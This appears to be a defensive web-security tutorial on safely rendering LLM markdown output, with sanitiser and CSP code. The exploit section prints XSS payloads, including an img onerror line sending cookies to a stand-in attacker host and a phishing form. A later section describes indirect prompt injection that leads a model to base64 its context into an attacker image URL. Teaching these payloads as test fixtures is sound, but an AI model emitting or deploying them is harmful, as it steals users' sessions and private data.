Rendering Model Markdown Without an XSS Hole
12 min read · updated August 4, 2026
Model output is user input that took a detour. If any part of the prompt came from a user, a document, a web page or a tool result, then the markdown coming back is attacker-influenced — and markdown renderers pass raw HTML through by default. Here is the payload, then the fix.
Why model output is untrusted input
The trust argument people make is “the model is a reputable provider, so its output is safe”. That confuses the author with the content. The model is a function over its context, and its context contains whatever went in: the user’s own message, a pasted email, a retrieved chunk, a scraped page, the output of a tool. Any of those can contain instructions or literal HTML, and the model will reproduce them. This is the rendering half of indirect prompt injection.
It also happens without an attacker. Ask a model about XSS, or to explain an HTML tag, or to write a component, and it will emit HTML because that is a correct answer. A renderer that executes what it is shown will execute that too.
The exploit
Start from the vulnerable component, which is what almost every first chat UI looks like:
// VULNERABLE — do not ship
import { marked } from "marked";
export function Message({ markdown }: { markdown: string }) {
return <div dangerouslySetInnerHTML={{ __html: marked.parse(markdown) }} />;
}Markdown, by specification, allows inline HTML. Most parsers honour that. So this markdown:
Here is the answer.
<img src=x onerror="fetch('https://attacker.example/c?d='+encodeURIComponent(document.cookie))">
Hope that helps.produces that img tag verbatim in the DOM. The image fails to load, onerror fires, and the script runs in your origin with your user’s session. No script tag was needed — the <script> element is the thing everyone filters and the one thing that would not have worked anyway, because HTML inserted via innerHTML does not execute script elements. Event handler attributes do.
The other reliable variants, so that testing your fix means testing all of them rather than one:
<svg onload="alert(1)"> <iframe src="javascript:alert(1)"></iframe> <a href="javascript:alert(1)">click</a> <details open ontoggle="alert(1)"> [a link](javascript:alert(1)) <- markdown syntax, no HTML at all <form action="https://attacker.example"><button>Continue</button></form>
The fourth-to-last one is the one that catches careful people: it is pure markdown link syntax, so an “allow markdown, block HTML” rule does not see it, and the renderer happily emits <a href="javascript:...">. The last one is not script execution at all — it is a phishing form rendered inside your trusted UI, which no XSS filter that only looks for JavaScript will stop.
Why streaming makes it worse
Streaming means you render prefixes of the answer, and a prefix of valid markdown is frequently invalid markdown — or worse, valid markdown that means something different from the whole.
after 12 tokens: Here is a link: [docs](https://good.example after 13 tokens: Here is a link: [docs](https://good.example/a?x=<img src=x after 30 tokens: Here is a link: [docs](https://good.example/a?x=1) and more
Every intermediate state is parsed and inserted into the DOM. An unclosed code fence means the parser treats following text as code on one frame and as HTML on the next. An unterminated attribute means the browser’s error recovery decides what your document is. If your sanitiser runs anywhere other than immediately before insertion, every one of these frames is an opportunity.
The rule that falls out: sanitise the output of the parser, on every frame, not the input. Sanitising the markdown source once and then re-parsing prefixes of it is the mistake, because the dangerous thing is the HTML the parser produces from a partial input, which you never inspected.
The fix, in order
- Prefer not producing HTML at all. Render markdown to React elements rather than to an HTML string.
react-markdownbuilds a React tree and never callsdangerouslySetInnerHTML, so the whole class of attack requires you to have explicitly enabled raw HTML. This is the strongest option and it is also the least work. - If you must produce HTML, sanitise after parsing.
DOMPurify.sanitize()on the parser’s output, immediately before insertion, with an allowlist rather than a blocklist. - Allowlist tags and attributes. A blocklist loses: the set of dangerous attributes grows with every HTML specification revision, and you will not be updating your regex when it does.
- Constrain URL schemes. Independently of tags. This is what stops the markdown-only
javascript:link. - Add a Content Security Policy. Defence in depth: a policy without
unsafe-inlineturns a successful injection into a console error instead of a session theft.
// safe-markdown.ts
import { marked } from "marked";
import DOMPurify from "isomorphic-dompurify";
const ALLOWED_TAGS = [
"p", "br", "strong", "em", "del", "code", "pre", "blockquote",
"ul", "ol", "li", "h1", "h2", "h3", "h4", "h5", "h6",
"a", "table", "thead", "tbody", "tr", "th", "td", "hr",
];
const ALLOWED_ATTR = ["href", "title", "class"];
export function renderMarkdown(md: string): string {
const html = marked.parse(md, { async: false }) as string;
return DOMPurify.sanitize(html, {
ALLOWED_TAGS,
ALLOWED_ATTR,
ALLOWED_URI_REGEXP: /^(?:https?:|mailto:|#|\/)/i,
FORBID_TAGS: ["style", "form", "input", "button"],
});
}Note what is not on the allowlist: img, iframe, style, form. Images are excluded on purpose and the reason is the next section. The ALLOWED_URI_REGEXP is what kills javascript: and data: URLs in href, including the entity-encoded variants, because DOMPurify decodes before matching.
package.json rather than trusting a snippet. A misspelt option name is silently ignored, which means a typo in ALLOWED_URI_REGEXP produces a sanitiser that looks configured and is not. Test it with the payloads above; a security control you have not seen fail is a security control you have not tested.The hole a tag allowlist leaves open
Suppose you allow img, because chat assistants show images and an image cannot execute code. It cannot — but it can transmit. An image URL is a GET request the browser makes automatically, with no user interaction, to any host, carrying whatever the attacker put in the path.
Model output, after the prompt was poisoned by a retrieved document: 
The model has been induced to base64 the sensitive part of its context into a URL. The image renders as a broken 1×1 or does not render at all, the user sees nothing, and the data has left. There is no script, no event handler, and nothing a conventional XSS sanitiser objects to. This is the standard exfiltration channel against LLM chat UIs and it is the reason for the fourth item below.
- Do not allow arbitrary image hosts. If your product shows images, allow the specific origins that are yours.
- Proxy remote images through your own server if you genuinely need arbitrary ones, so you control what is fetched and when.
- Set a CSP
img-srclisting your origins. This enforces the rule at the browser level even if the sanitiser is bypassed. - Treat link targets the same way. An anchor is not auto-fetched, so it is weaker, but a user who clicks still leaks. Add
rel="noopener noreferrer"and consider showing the host next to external links.
The equivalent policy header, which is worth having regardless of how confident you are in the sanitiser:
Content-Security-Policy: default-src 'self'; img-src 'self' https://cdn.your-app.example data:; script-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://api.your-app.example; frame-ancestors 'none'; base-uri 'none'
The configuration to ship
Putting the whole thing together as a component. This is the version to copy: React elements rather than an HTML string, so there is no injection surface to sanitise at all, plus link hardening and a memoised parse so streaming does not re-render the tree on every token.
"use client";
import { useMemo } from "react";
import ReactMarkdown from "react-markdown";
import remarkGfm from "remark-gfm";
const SAFE_SCHEMES = /^(https?:|mailto:|#)/i;
export function ModelMarkdown({ text }: { text: string }) {
// Re-parsing every token is the expensive part; see the streaming page for
// why the flush is throttled upstream of this component.
const content = useMemo(() => text, [text]);
return (
<ReactMarkdown
remarkPlugins={[remarkGfm]}
// Raw HTML is NOT enabled. Do not add rehype-raw here.
components={{
a({ href, children, ...props }) {
const safe = typeof href === "string" && SAFE_SCHEMES.test(href);
if (!safe) return <span>{children}</span>;
return (
<a href={href} target="_blank" rel="noopener noreferrer nofollow" {...props}>
{children}
</a>
);
},
img() {
return <span className="text-ink-3">[image omitted]</span>;
},
}}
>
{content}
</ReactMarkdown>
);
}The single most important line in that file is the comment. react-markdown is safe by default and becomes unsafe the moment somebody adds a raw-HTML plugin to make one table render nicely. Write down why it is not there, because the person who adds it in eight months will not otherwise know.
Verify the fix rather than assuming it. Paste each payload from the exploit section into your own UI as if it were model output, and confirm you see inert text. Then keep them as a test fixture — this is the kind of regression that returns quietly during a dependency upgrade, which is also why a safety layer belongs in the pipeline rather than in one component.